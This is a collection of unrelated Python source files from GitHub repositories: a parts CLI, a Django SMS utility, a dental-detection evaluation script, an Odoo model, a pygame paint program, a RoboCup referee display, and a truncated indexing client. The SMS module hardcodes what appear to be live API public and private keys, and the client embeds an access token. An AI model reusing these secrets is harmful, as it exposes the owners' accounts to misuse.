'--partnumber',\r\n                        help='optionally give it a partnumber')\r\n    parser.add_argument('-l', '--location', default=SOURCEDIR,\r\n                        help='optionally define a location for the part')\r\n    opts = parser.parse_args(options)\r\n\r\n    partlist = openpartlist()\r\n\r\n    part = Part()\r\n    part.description = opts.description\r\n    if opts.partnumber != None:\r\n        part.partnumber = opts.partnumber\r\n    else:\r\n        part.partnumber = get_new_partnumber(partlist)\r\n\r\n    # strip punctuation and make a standard filename\r\n    import re\r\n    filename = (re.sub(r'[^\\w\\s]','',part.description).lower().replace(' ','-')\r\n               + '-' + part.partnumber)\r\n    part.location = os.path.join(opts.location, filename) + EXTENSIONS[0]\r\n\r\n    # save a new file to the location        \r\n    try:\r\n        with safe_open_write(part.location) as newfile:\r\n            newfile.write(NEWPASTA)\r\n            print('saved a new file to ' + part.location)\r\n            print(NEWPASTA)\r\n            add_part(part, openpartlist())\r\n            add_file(part.location, part.partnumber, openfilelist())\r\n    except FileExistsError:\r\n        print('file {0} already exists in that location'.format(filename))\r\n\r\ndef build(options):\r\n    \"\"\"puts all active files into BUILDDIR\"\"\"\r\n    from shutil import rmtree, copyfile\r\n    rmtree(BUILDDIR, ignore_errors=True)\r\n\r\n    with openpartlist() as partlist, openfilelist() as filelist:\r\n        for partnumber in get_active_partnumbers(partlist):\r\n            for source_loc in get_file_locations_by_partnumber(partnumber, filelist):\r\n                destination = os.path.join(BUILDDIR, partnumber)\r\n                filename = partnumber + os.path.splitext(source_loc)[1]\r\n                os.makedirs(destination, exist_ok=True)\r\n                copyfile(source_loc, os.path.join(destination, filename))\r\n\r\ndef main():\r\n    \"\"\"execute when not being loaded as a library\"\"\"\r\n    try:\r\n        command = sys.argv[1]\r\n        if command == 'add':\r\n            add(sys.argv[2:])\r\n        elif command == 'build':\r\n            build(sys.argv[2:])\r\n        elif command == 'remove':\r\n            print('not yet implemented')\r\n        elif command == 'new':\r\n            new(sys.argv[2:])\r\n        else:\r\n            raise UserWarning('no such argument')\r\n    except (IndexError, UserWarning):\r\n        print('usage: cm <command> <options>\\nread documentation for details\\n')\r\n        raise\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"alexandergill/cm","sub_path":"cm.py","file_name":"cm.py","file_ext":"py","file_size_in_byte":10633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18530950807","text":"import json\nimport hashlib\nimport requests\nfrom django.conf import settings\n\n\ndef send_sms(text, phone):\n    if settings.TESTING or (settings.DEBUG and not settings.SMS_TOKEN):\n        return\n\n    phone = str(phone)\n    if phone.startswith(('+998', '998')):\n        send_sms_eskiz(text, phone)\n    else:\n        send_sms_epochta(text, phone)\n\n\ndef send_sms_eskiz(text, phone):\n    url = 'http://sms.eskiz.uz:8080/secure/send'\n    data = json.dumps({'to': phone, 'from': '4546', 'content': text, 'dlr-level': 2})\n\n    requests.post(headers={'Authorization': f'Basic {settings.SMS_TOKEN}'}, url=url, data=data).json()\n\n\ndef send_sms_epochta(text, phone):\n    public_key = '0959c285b8e394bb1ea212ce61b08f3c'\n    private_key = '50bd8dc3ca2d684723345265b00ef5c8'\n\n    def calc_control_sum(_params):\n        _params['key'] = public_key\n        _params['version'] = '3.0'\n        _params['action'] = 'sendSMS'\n\n        control_str = ''\n        for key in sorted(_params):\n            control_str += _params[key]\n\n        control_str += private_key\n\n        return hashlib.md5(control_str.encode('utf-8')).hexdigest()\n\n    url = 'http://api.atompark.com/api/sms/3.0/sendSMS'\n    _data = {\n        'sender': 'Info',\n        'text': text,\n        'phone': phone,\n        'datetime': '',\n        'sms_lifetime': '0'\n    }\n    control_sum = calc_control_sum(_data)\n\n    data = {\n        'key': public_key,\n        'sum': control_sum,\n        'sender': _data['sender'],\n        'text': text,\n        'phone': phone,\n        'datetime': _data['datetime'],\n        'sms_lifetime': _data['sms_lifetime']\n    }\n\n    requests.post(url=url, data=data).json()\n","repo_name":"khodjaevmsh/saxovat","sub_path":"backend/apps/core/utils/sms.py","file_name":"sms.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73611644582","text":"import os\nimport mmcv\n\nfrom cores.evaluation.imagewise_roc import plot_imagewise_roc\n# from cores.evaluation.boxwise_strict_roc import plot_boxwise_strict_roc\n# from cores.evaluation.boxwise_relaxed_roc import plot_boxwise_relaxed_roc\nfrom cores.evaluation.boxwise_relaxed_froc import plot_boxwise_relaxed_froc\n# from cores.evaluation.boxwise_strict_froc import plot_boxwise_strict_froc\nfrom cores.misc import dental_detection_classes\n\nCLASSES = ['Periodontal_disease', 'caries', 'calculus']\nWITH_LABEL_ONLY = True\n\ndir_path = os.path.dirname(os.getcwd())\n# truth_path\n# [\n#     {\n#         'filename': 'a.jpg',\n#         'width': 1280,\n#         'height': 720,\n#         \"pigment\": int,\n#         \"soft_deposit\": int,\n#         'ann': {\n#             'bboxes': <np.ndarray> (n, 4 (xmin, ymin, xmax, ymax)),\n#             'labels': <np.ndarray> (n, ),\n#         }\n#     } x number-of-images\n# ]\ntruth_path = dir_path + '/datasets/dental_711_2/test.pickle'\n# result_path\n# [\n#     [\n#         [\n#             [\n#               x, y, x, y, prob\n#             ] x number-of-bboxes\n#         ] x number-of-classes\n#     ] x number-of-images\n# ]\nresult_path = dir_path + '/work_dirs/dental_711_w_pretrained_wt_fix_w_imagenorm_fine_tune_phontrans/test_data_result.pickle'\n# img_save_path = dir_path + '/visualization/a.png'\n\n\ndef main():\n\n    truths = mmcv.load(truth_path)\n    results = mmcv.load(result_path)\n    print('plotting for inference {}'.format(result_path))\n\n    # convert results to coco style\n    # image_id is the index of image, 0 based.\n    # category id is the label class. 1 based. 1 is the first positive class.\n    # result file that of coco format. save it to result.bbox.json and result.proposal.json.\n    # jason format:\n    #   [Number_of_bboxes,\n    #       dict(\n    #           image_id:\n    #           bbox: [x, y, w, h]\n    #           score:\n    #           category_id:\n    #       )]\n    # json_results = results2json_w_groundtruth(truths=truths, results=results, with_label_only=WITH_LABEL_ONLY, out_file=None)\n    # print('finish converting model output {} to coco style'.format(result_path))\n\n    # convert truth to coco style\n    # image_id is the index of image, 0 based.\n    # category id is the label class. 1 based. 1 is the first positive class.\n    # {\n    #    \"images\":\n    #        [{\"height\": int, \"width\": int, \"id\": int}, ],\n    #    \"annotations\":\n    #        [{\"area\": float, \"iscrowd\": int, \"image_id\": int, \"bbox\": [float (x), float (y), float (w), float (h)], \"category_id\": int, \"id\": int}, ],\n    #    \"categories\":\n    #        [{\"supercategory\": str, \"id\": int, \"name\": str}]\n    # }\n    # coco_truths = truths2coco(truths=truths, classes_in_truth=CLASSES, classes_in_dataset=dental_detection_classes(), with_label_only=WITH_LABEL_ONLY, out_file=None)\n    # print('finish converting ground truth {} to coco style'.format(truth_path))\n\n    # compare with fast eval\n    # T: ioutrhshold\n    # R: recall trhsholds\n    # K: cats\n    # A: object area ranges\n    # M: max detections per image\n    # precision_matrix: T x R x K x A x M\n    # recall_matrix: T x K x A x M\n    # recThrs: T\n    # precision_matrix, recall_matrix, recThrs = coco_eval(\n    #     result_file=json_results,\n    #     result_type='bbox',\n    #     coco=coco_truths,\n    #     iou_thrs=[0.2, 0.3, 0.4, 0.5],\n    #     max_dets=[100000],\n    #     areaRng=[[0**2, 1e8**2]],\n    #     areaRngLbl=['all'],\n    #     show_all_labels=True,\n    # )\n\n    # plt.plot(recThrs, precision_matrix[0, :, 0, 0, 0], 'ro')\n    # plt.savefig(img_save_path)\n\n    print('plot_boxwise_relaxed_froc')\n    plot_boxwise_relaxed_froc(\n        results=results,\n        truths=truths,\n        threshold=0.5,\n        num_class=3,\n        classes_in_results=CLASSES,\n        classes_in_dataset=dental_detection_classes(),\n        IoRelaxed=True,\n    )\n\n    # print('plot_boxwise_relaxed_roc')\n    # plot_boxwise_relaxed_roc(\n    #     results=results,\n    #     truths=truths,\n    #     threshold=0.5,\n    #     num_class=3,\n    #     classes_in_results=CLASSES,\n    #     classes_in_dataset=dental_detection_classes(),\n    #     IoRelaxed=True\n    # )\n    #\n    # print('plot_boxwise_strict_froc')\n    # plot_boxwise_strict_froc(\n    #     results=results,\n    #     truths=truths,\n    #     threshold=0.5,\n    #     num_class=3,\n    #     classes_in_results=CLASSES,\n    #     classes_in_dataset=dental_detection_classes(),\n    #     IoRelaxed=True\n    # )\n    #\n    # print('plot_boxwise_strict_roc')\n    # plot_boxwise_strict_roc(\n    #     results=results,\n    #     truths=truths,\n    #     threshold=0.5,\n    #     num_class=3,\n    #     classes_in_results=CLASSES,\n    #     classes_in_dataset=dental_detection_classes(),\n    #     IoRelaxed=True\n    # )\n\n    print('plot_imagewise_roc')\n    plot_imagewise_roc(\n        results=results,\n        truths=truths,\n        num_class=3,\n        classes_in_results=CLASSES,\n        classes_in_dataset=dental_detection_classes(),\n    )\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"christophezei/MobileDentist","sub_path":"visualization/compare_detection_and_truth.py","file_name":"compare_detection_and_truth.py","file_ext":"py","file_size_in_byte":5020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16791115178","text":"from odoo import models, fields, api\nfrom odoo.exceptions import UserError\n\n\nclass StockMove(models.Model):\n    _inherit = 'stock.move'\n\n    inventory_order_line_id = fields.Many2one('ss_erp.inventory.order.line', string=\"移動オーダ明細\")\n    instruction_order_id = fields.Many2one('ss_erp.instruction.order', string=\"棚卸計画\")\n    instruction_order_line_id = fields.Many2one('ss_erp.instruction.order.line', string=\"棚卸計画明細\")\n\n    product_packaging = fields.Many2one(string='パッケージ', related='inventory_order_line_id.product_packaging', store=True)\n    x_organization_id = fields.Many2one('ss_erp.organization', default=lambda self: self.picking_id.x_organization_id,\n                                        string='組織名', store=True)\n\n    x_responsible_dept_id = fields.Many2one('ss_erp.responsible.department',\n                                            default=lambda self: self.picking_id.x_responsible_dept_id.id,\n                                            string='管轄部門', store=True)\n\n    x_responsible_user_id = fields.Many2one('res.users', default=lambda self: self.picking_id.user_id,\n                                            string='業務担当', store=True)\n\n    lpgas_adjustment = fields.Boolean(string='', default=False)\n\n    is_stored_location_transfer = fields.Boolean(compute='_computed_is_stored_location_transfer')\n\n    @api.depends('location_id', 'location_dest_id')\n    def _computed_is_stored_location_transfer(self):\n        for rec in self:\n            if (rec.location_id.x_stored_location and rec.location_dest_id.usage == 'internal') or (\n                    rec.location_dest_id.x_stored_location and rec.location_id.usage == 'internal'):\n                rec.is_stored_location_transfer = True\n            else:\n                rec.is_stored_location_transfer = False\n\n    def _is_in(self):\n        if self.lpgas_adjustment:\n            if self.location_id.usage == 'inventory':\n                return True\n            else:\n                return False\n        elif self.is_stored_location_transfer:\n            if (self.location_id.type != 'internal' and self.location_dest_id.x_stored_location) or (\n                    self.location_id.x_stored_location and self.location_dest_id.type == 'internal'):\n                return True\n            else:\n                return False\n        else:\n            return super()._is_in()\n\n    def _is_out(self):\n        if self.lpgas_adjustment:\n            if self.location_dest_id.usage == 'inventory':\n                return True\n            else:\n                return False\n        elif self.is_stored_location_transfer:\n            if (self.location_id.type == 'internal' and self.location_dest_id.x_stored_location) or (\n                    self.location_id.x_stored_location and self.location_dest_id.type != 'internal'):\n                return True\n            else:\n                return False\n        else:\n            return super()._is_out()\n\n","repo_name":"alubena/sanin-sanso-training","sub_path":"ss_erp_stock/models/stock_move.py","file_name":"stock_move.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41916457703","text":"import pygame\nimport random\nfrom pygame.constants import *\n\npygame.init()\nscreen = pygame.display.set_mode((800, 600))\nscreen.fill((255, 255, 255))\n\nsurf = pygame.surface.Surface((800, 250))\nsurf.fill((229, 198, 135))\n\nblackboard = pygame.surface.Surface((760, 350))\nblackboard.fill((239, 224, 224))\n\nscreen.blit(surf, (0, 0))\nscreen.blit(blackboard, (40, 0))\npygame.display.set_caption(\"Paint\")\n\n\ncolors = {\n        'red': (255, 0, 0),\n        'green': (0, 255, 0),\n        'blue': (0, 0, 255),\n        'purple': (83, 28, 232),\n        'black': (0, 0, 0),\n        'random': (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))\n    }\n\n\ndef line(screen, start, end, d, color):\n    x1 = start[0]\n    y1 = start[1]\n    x2 = end[0]\n    y2 = end[1]\n\n    dx = abs(x1 - x2)\n    dy = abs(y1 - y2)\n\n    A = y2 - y1\n    B = x1 - x2\n    C = x2 * y1 - x1 * y2\n\n    if dx > dy:\n        if x1 > x2:\n            x1, x2 = x2, x1\n            y1, y2 = y2, y1\n\n        for x in range(x1, x2):\n            y = (-C - A * x) / B\n            pygame.draw.circle(screen, color, (x, y), d)\n    else:\n        if y1 > y2:\n            x1, x2 = x2, x1\n            y1, y2 = y2, y1\n        for y in range(y1, y2):\n            x = (-C - B * y) / A\n            pygame.draw.circle(screen, color, (x, y), d)\n\n\ndef rectangle(screen, start, end, d, color):\n    x1 = start[0]\n    y1 = start[1]\n    x2 = end[0]\n    y2 = end[1]\n\n    width = abs(x1 - x2)\n    height = abs(y1 - y2)\n\n    if x1 < x2 and y1 < y2:\n        pygame.draw.rect(screen, color, [x1, y1, width, height])\n    elif x1 < x2 and y2 < y1:\n        pygame.draw.rect(screen, color, [x1, y2, width, height])\n    elif x2 < x1 and y1 < y2:\n        pygame.draw.rect(screen, color, [x2, y1, width, height])\n    elif x2 < x1 and y2 < y1:\n        pygame.draw.rect(screen, color, [x2, y2, width, height])\n\n\ndef circle(screen, start, end, d, color):\n    x1 = start[0]\n    y1 = start[1]\n    x2 = end[0]\n    y2 = end[1]\n\n    width = abs(x1 - x2)\n    height = abs(y1 - y2)\n\n    if x1 < x2 and y1 < y2:\n        pygame.draw.ellipse(screen, color, [x1, y1, width, height], d)\n    elif x1 < x2 and y2 < y1:\n        pygame.draw.ellipse(screen, color, [x1, y2, width, height], d)\n    elif x2 < x1 and y1 < y2:\n        pygame.draw.ellipse(screen, color, [x2, y1, width, height], d)\n    elif x2 < x1 and y2 < y1:\n        pygame.draw.ellipse(screen, color, [x2, y2, width, height], d)\n\n\ndef info_text(surf):\n    pygame.draw.aaline(surf, colors['black'], (40, 0), (40, 250), 2)\n    font = pygame.font.SysFont('Times New Roman', 20, False, False)\n\n    t1 = font.render(\"Alt + R -- rectangle\", True, colors['black'], (229, 198, 135))\n    t2 = font.render(\"Alt + L -- line\", True, colors['black'], (229, 198, 135))\n    t3 = font.render(\"Alt + C -- circle\", True, colors['black'], (229, 198, 135))\n    t4 = font.render(\"Alt + E -- eraser\", True, colors['black'], (229, 198, 135))\n    t5 = font.render(\"Alt + Up -- size-up for eraser\", True, colors['black'], (229, 198, 135))\n    t6 = font.render(\"Alt + Down -- size-down for eraser\", True, colors['black'], (229, 198, 135))\n\n    t7 = font.render(\"Ctrl + R -- red\", True, colors['black'], (229, 198, 135))\n    t8 = font.render(\"Ctrl + G -- green\", True, colors['black'], (229, 198, 135))\n    t9 = font.render(\"Ctrl + B -- blue\", True, colors['black'], (229, 198, 135))\n    t10 = font.render(\"Ctrl + P -- purple\", True, colors['black'], (229, 198, 135))\n    t11 = font.render(\"Ctrl + Space -- random-color\", True, colors['black'], (229, 198, 135))\n    t12 = font.render(\"Up -- size-up\", True, colors['black'], (229, 198, 135))\n    t13 = font.render(\"Down -- size-down\", True, colors['black'], (229, 198, 135))\n    t14 = font.render(\"Ctrl + S -- for save\", True, colors['black'], (229, 198, 135))\n\n\n    surf.blit(t1, (150, 15))\n    surf.blit(t2, (150, 40))\n    surf.blit(t3, (150, 65))\n    surf.blit(t4, (150, 90))\n    surf.blit(t5, (150, 115))\n    surf.blit(t6, (150, 140))\n\n    surf.blit(t7, (500, 15))\n    surf.blit(t8, (500, 40))\n    surf.blit(t9, (500, 65))\n    surf.blit(t10, (500, 90))\n    surf.blit(t11, (500, 115))\n\n    surf.blit(t12, (500, 150))\n    surf.blit(t13, (500, 175))\n    surf.blit(t14, (500, 200))\n\n\ndone = False\ndraw_line = False\nerase = False\n\ncommands = {\n    \"lining\": True,\n    \"recting\": False,\n    \"circling\": False,\n    \"erasing\": False\n}\nsurf_elements = {\n    'line': (255, 0, 0),\n    'rec': (10, 10, 10),\n    'circ': (10, 10, 10),\n    'erase': (10, 10, 10)\n}\nx, y = 0, 0\nlast_pos = (0, 0)\nd = 2\ned = 20\ncolor = (0, 0, 0)\nPi = 3.14\n\nwhile not done:\n    get_pressed = pygame.key.get_pressed()\n    alt_press = get_pressed[K_LALT] or get_pressed[K_RALT]\n    ctrl_press = get_pressed[K_LCTRL] or get_pressed[K_RCTRL]\n    pos = pygame.mouse.get_pos()\n\n    font = pygame.font.SysFont('Verdana', 17, False, False)\n\n    pygame.draw.circle(surf, color, (20, 30), 15)\n    pygame.draw.rect(surf, surf_elements['rec'], [5, 60, 30, 30], 1)\n    pygame.draw.circle(surf, surf_elements['circ'], [20, 120], 15, 1)\n    pygame.draw.arc(surf, surf_elements['line'], [6, 151, 15, 15], Pi, 2 * Pi, 1)\n    pygame.draw.arc(surf, surf_elements['line'], [20, 154, 15, 15], 0, Pi, 1)\n    pygame.draw.aalines(surf, surf_elements['erase'], True, [[10, 190], [15, 205], [25, 205], [30, 190], [20, 180]])\n    size_text = font.render(str(d), True, colors['black'], (229, 198, 135))\n\n    for event in pygame.event.get():\n        if event.type == QUIT:\n            done = True\n        if event.type == KEYDOWN:\n            if alt_press and event.key == K_r:\n                for i in surf_elements:\n                    if i == 'rec':\n                        surf_elements[i] = colors['red']\n                    else:\n                        surf_elements[i] = (10, 10, 10)\n                for i in commands:\n                    if i == 'recting':\n                        commands[i] = True\n                    else:\n                        commands[i] = False\n            if alt_press and event.key == K_l:\n                for i in surf_elements:\n                    if i == 'line':\n                        surf_elements[i] = colors['red']\n                    else:\n                        surf_elements[i] = (10, 10, 10)\n                for i in commands:\n                    if i == 'lining':\n                        commands[i] = True\n                    else:\n                        commands[i] = False\n            if alt_press and event.key == K_c:\n                for i in surf_elements:\n                    if i == 'circ':\n                        surf_elements[i] = colors['red']\n                    else:\n                        surf_elements[i] = (10, 10, 10)\n                for i in commands:\n                    if i == 'circling':\n                        commands[i] = True\n                    else:\n                        commands[i] = False\n            if alt_press and event.key == K_e:\n                for i in surf_elements:\n                    if i == 'erase':\n                        surf_elements[i] = colors['red']\n                    else:\n                        surf_elements[i] = (10, 10, 10)\n                for i in commands:\n                    if i == 'erasing':\n                        commands[i] = True\n                    else:\n                        commands[i] = False\n            if event.key == K_UP:\n                if d < 9:\n                    d += 1\n            if event.key == K_DOWN:\n                if d > 1:\n                    d -= 1\n            if alt_press and event.key == K_UP:\n                if ed < 50:\n                    ed += 5\n            if alt_press and event.key == K_DOWN:\n                if ed > 20:\n                    ed -= 5\n            if ctrl_press and event.key == K_s:\n                pygame.image.save(blackboard, 'screenshot.jpg')\n            if alt_press and event.key == K_SPACE:\n                pygame.image.save(surf, 'screenshot.jpg')\n            if ctrl_press and event.key == K_r:\n                color = colors['red']\n            if ctrl_press and event.key == K_g:\n                color = colors['green']\n            if ctrl_press and event.key == K_b:\n                color = colors['blue']\n            if ctrl_press and event.key == K_p:\n                color = colors['purple']\n            if ctrl_press and event.key == K_SPACE:\n                colors['random'] = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))\n                color = colors['random']\n\n        if commands['recting']:\n            if event.type == MOUSEBUTTONDOWN:\n                last_pos = pos\n            if event.type == MOUSEBUTTONUP:\n                rectangle(blackboard, last_pos, pos, d, color)\n\n        if commands['lining']:\n            if event.type == MOUSEBUTTONDOWN:\n                last_pos = pos\n                pygame.draw.circle(blackboard, color, pos, d)\n                draw_line = True\n            if event.type == MOUSEBUTTONUP:\n                draw_line = False\n            if event.type == MOUSEMOTION:\n                if draw_line:\n                    line(blackboard, last_pos, pos, d, color)\n                last_pos = pos\n\n        if commands['circling']:\n            if event.type == MOUSEBUTTONDOWN:\n                last_pos = pos\n            if event.type == MOUSEBUTTONUP:\n                circle(blackboard, last_pos, pos, d, color)\n\n        if commands['erasing']:\n            if event.type == pygame.MOUSEBUTTONDOWN:\n                (x, y) = pos\n                pygame.draw.rect(blackboard, (239, 224, 224), [x, y, ed, ed])\n                erase = True\n            if event.type == pygame.MOUSEMOTION:\n                if erase:\n                    pygame.draw.rect(blackboard, (239, 224, 224), [pos[0], pos[1], ed, ed])\n            if event.type == pygame.MOUSEBUTTONUP:\n                erase = False\n\n    info_text(surf)\n    surf.blit(size_text, (15, 215))\n    screen.blit(surf, (0, 350))\n    screen.blit(blackboard, (0, 0))\n    pygame.display.flip()\n\npygame.quit()\n","repo_name":"adilzhapar/Python","sub_path":"TSIS/TSIS 9/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":9937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18874197466","text":"from types import SimpleNamespace\nfrom blackboard import blackboard\n\n\nclass Display:\n    def __init__(self):\n        self.blackboard = blackboard\n        self.font_size = blackboard.config.FONT_SIZE\n        self.font = blackboard.config.FONT\n\n    def update_time_display(self):\n        if self.blackboard.game.state:\n            s = self.blackboard.game.state.seconds_remaining\n            value = format_time(s)\n        else:\n            value = ' --:--'\n        self.blackboard.supervisor.setLabel(6, value, 0, 0, self.font_size, 0x000000, 0.2, self.font)\n\n    def update_state_display(self):\n        if self.blackboard.game.state:\n            state = self.blackboard.game.state.game_state[6:]\n            if state == 'READY' or state == 'SET':  # kickoff\n                if self.blackboard.game.kickoff == self.blackboard.game.red.id:\n                    color = self.blackboard.config.RED_COLOR\n                else:\n                    color = self.blackboard.config.BLUE_COLOR\n            else:\n                color = 0x000000\n        else:\n            state = ''\n            color = 0x000000\n        self.blackboard.supervisor.setLabel(7, ' ' * 41 + state, 0, 0, self.font_size, color, 0.2, self.font)\n        self.update_details_display()\n\n    def update_score_display(self):\n        if self.blackboard.game.state:\n            red = 0 if self.blackboard.game.state.teams[0].team_color == 'RED' else 1\n            blue = 1 if red == 0 else 0\n            red_score = str(self.blackboard.game.state.teams[red].score)\n            blue_score = str(self.blackboard.game.state.teams[blue].score)\n        else:\n            red_score = '0'\n            blue_score = '0'\n        if self.blackboard.game.side_left == self.blackboard.game.blue.id:\n            offset = 21 if len(blue_score) == 2 else 22\n            score = ' ' * offset + blue_score + '-' + red_score\n        else:\n            offset = 21 if len(red_score) == 2 else 22\n            score = ' ' * offset + red_score + '-' + blue_score\n        self.blackboard.supervisor.setLabel(5, score, 0, 0, self.font_size, self.blackboard.config.BLACK_COLOR, 0.2, self.font)\n\n    def update_team_details_display(self, team, side, strings):\n        for n in range(len(team.players)):\n            robot_info = self.blackboard.game.state.teams[side].players[n]\n            strings.background += '█  '\n            if robot_info.number_of_warnings > 0:  # a robot can have both a warning and a yellow card\n                strings.warning += '■  '\n                strings.yellow_card += ' ■ ' if robot_info.number_of_yellow_cards > 0 else '   '\n            else:\n                strings.warning += '   '\n                strings.yellow_card += '■  ' if robot_info.number_of_yellow_cards > 0 else '   '\n            strings.red_card += '■  ' if robot_info.number_of_red_cards > 0 else '   '\n            strings.white += str(n + 1) + '██'\n            strings.foreground += f'{robot_info.secs_till_unpenalized:02d} ' \\\n                if robot_info.secs_till_unpenalized != 0 else '   '\n\n    def update_details_display(self):\n        if not self.blackboard.game.state:\n            return\n        red = 0 if self.blackboard.game.state.teams[0].team_color == 'RED' else 1\n        blue = 1 if red == 0 else 0\n        if self.blackboard.game.side_left == self.blackboard.game.red.id:\n            left = red\n            right = blue\n            left_team = self.blackboard.red_team\n            right_team = self.blackboard.blue_team\n            left_color = self.blackboard.config.RED_COLOR\n            right_color = self.blackboard.config.BLUE_COLOR\n        else:\n            left = blue\n            right = red\n            left_team = self.blackboard.blue_team\n            right_team = self.blackboard.red_team\n            left_color = self.blackboard.config.BLUE_COLOR\n            right_color = self.blackboard.config.RED_COLOR\n\n        strings = SimpleNamespace()\n        strings.foreground = format_time(self.blackboard.game.state.secondary_seconds_remaining) + '  ' \\\n            if self.blackboard.game.state.secondary_seconds_remaining > 0 else ' ' * 8\n        strings.background = ' ' * 7\n        strings.warning = strings.background\n        strings.yellow_card = strings.background\n        strings.red_card = strings.background\n        strings.white = '█' * 7\n        self.update_team_details_display(left_team, left, strings)\n        strings.left_background = strings.background\n        strings.background = ' ' * 26\n        space = 19 - len(left_team.players) * 3\n        strings.white += '█' * space\n        strings.warning += ' ' * space\n        strings.yellow_card += ' ' * space\n        strings.red_card += ' ' * space\n        strings.foreground += ' ' * space\n        self.update_team_details_display(right_team, right, strings)\n        strings.right_background = strings.background\n        del strings.background\n        space = 12 - 3 * len(right_team.players)\n        strings.white += '█' * (24 + space)\n        strings.secondary_state = ' ' * 41 + self.blackboard.game.state.secondary_state[6:]\n        if self.blackboard.game.state.secondary_state[6:] != 'NORMAL':\n            strings.secondary_state += ' [' + str(self.blackboard.game.state.secondary_state_info[1]) + ']'\n        if self.blackboard.game.interruption_team is not None:  # interruption\n            secondary_state_color = self.blackboard.config.RED_COLOR \\\n                if self.blackboard.game.interruption_team == self.blackboard.game.red.id else self.blackboard.config.BLUE_COLOR\n        else:\n            secondary_state_color = self.blackboard.config.BLACK_COLOR\n        y = 0.0465  # vertical position of the second line\n        self.blackboard.supervisor.setLabel(10, strings.left_background, 0, y, self.font_size, left_color, 0.2, self.font)\n        self.blackboard.supervisor.setLabel(11, strings.right_background, 0, y, self.font_size, right_color, 0.2, self.font)\n        self.blackboard.supervisor.setLabel(12, strings.white, 0, y, self.font_size,\n                                            self.blackboard.config.WHITE_COLOR, 0.2, self.font)\n        self.blackboard.supervisor.setLabel(13, strings.warning, 0, 2 * y, self.font_size, 0x0000ff, 0.2, self.font)\n        self.blackboard.supervisor.setLabel(14, strings.yellow_card, 0, 2 * y, self.font_size, 0xffff00, 0.2, self.font)\n        self.blackboard.supervisor.setLabel(15, strings.red_card, 0, 2 * y, self.font_size, 0xff0000, 0.2, self.font)\n        self.blackboard.supervisor.setLabel(16, strings.foreground, 0, y, self.font_size,\n                                            self.blackboard.config.BLACK_COLOR, 0.2, self.font)\n        self.blackboard.supervisor.setLabel(17, strings.secondary_state, 0, y, self.font_size,\n                                            secondary_state_color, 0.2, self.font)\n\n    def update_team_display(self):\n        # red and blue backgrounds\n        left_color = self.blackboard.config.RED_COLOR \\\n            if self.blackboard.game.side_left == self.blackboard.game.red.id else self.blackboard.config.BLUE_COLOR\n        right_color = self.blackboard.config.BLUE_COLOR \\\n            if self.blackboard.game.side_left == self.blackboard.game.red.id else self.blackboard.config.RED_COLOR\n        self.blackboard.supervisor.setLabel(2, ' ' * 7 + '█' * 14, 0, 0, self.font_size, left_color, 0.2, self.font)\n        self.blackboard.supervisor.setLabel(3, ' ' * 26 + '█' * 14, 0, 0, self.font_size, right_color, 0.2, self.font)\n        # white background and names\n        left_team = self.blackboard.red_team \\\n            if self.blackboard.game.side_left == self.blackboard.game.red.id else self.blackboard.blue_team\n        right_team = self.blackboard.red_team \\\n            if self.blackboard.game.side_left == self.blackboard.game.blue.id else self.blackboard.blue_team\n        team_names = 7 * '█' + (13 - len(left_team.name)) * ' ' + left_team.name + \\\n            ' █████ ' + right_team.name + ' ' * (13 - len(right_team.name)) + '█' * 22\n        self.blackboard.supervisor.setLabel(4, team_names, 0, 0, self.font_size,\n                                            self.blackboard.config.WHITE_COLOR, 0.2, self.font)\n        self.update_score_display()\n\n    def update(self):\n        self.update_team_display()\n        self.update_time_display()\n        self.update_state_display()\n\n\ndef format_time(s):\n    if s < 0:\n        s = -s\n        sign = '-'\n    else:\n        sign = ' '\n    seconds = str(s % 60)\n    minutes = str(int(s / 60))\n    if len(minutes) == 1:\n        minutes = '0' + minutes\n    if len(seconds) == 1:\n        seconds = '0' + seconds\n    return sign + minutes + ':' + seconds\n","repo_name":"RoboCup-Humanoid-TC/hlvs_webots","sub_path":"controllers/referee/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":8667,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"41897910153","text":"from functools import reduce\nimport io\nimport json\nimport requests\nimport hashlib\nimport sys\n\nAPI_URL = \"http://localhost:8000/\"\nTOKEN = \"5c8af4945e8811e3ab5790e6ba0d52ef\"\n\ntoken_header = {\"X-Docloud-Token\": TOKEN}\n\nadd_file_infos = {}\ndelete_file_infos = {}\n\nfor line in sys.stdin:\n    command, *args = line.strip().split(\";\")\n    if command == \"add\":\n        tags, filename = args\n    elif command == \"delete\":\n        filename = args[0]\n\n    with open(filename, \"rb\") as f:\n        data = f.read()\n        h = hashlib.sha1(data).hexdigest()\n        if command == \"add\":\n            if h not in add_file_infos:\n                add_file_infos[h] = {\"paths\":[], \"data\":data}\n                add_file_infos[h][\"paths\"].append(\n                    {\"path\": filename,\n                     \"tags\": list(map(int, tags.split(\",\")))})\n        elif command == \"delete\":\n            if h not in delete_file_infos:\n                delete_file_infos[h] = {\"paths\":[], \"data\":data}\n                delete_file_infos[h][\"paths\"].append(filename)\n\nif not add_file_infos and not delete_file_infos:\n    print(\"No valid input! Shutting down\")\n    sys.exit(1)\n\nprint(\"Found %s unique files to add\" % len(add_file_infos))\nrequest_data = []\nfor h, d in add_file_infos.items():\n    for path in d[\"paths\"]:\n        request_data.append({\"hash\":h, \"path\":path[\"path\"], \"tags\": path[\"tags\"]})\n\nprint(\"Requesting index info about %s paths\" % request_data)\n\nindex_result = requests.post(API_URL + \"index/query/\",\n                     data=json.dumps(request_data),\n                     headers = dict({'content-type': 'application/json'}, **token_header)).json()\nif not index_result[\"success\"]:\n    print(\"Index request failed! Shutting 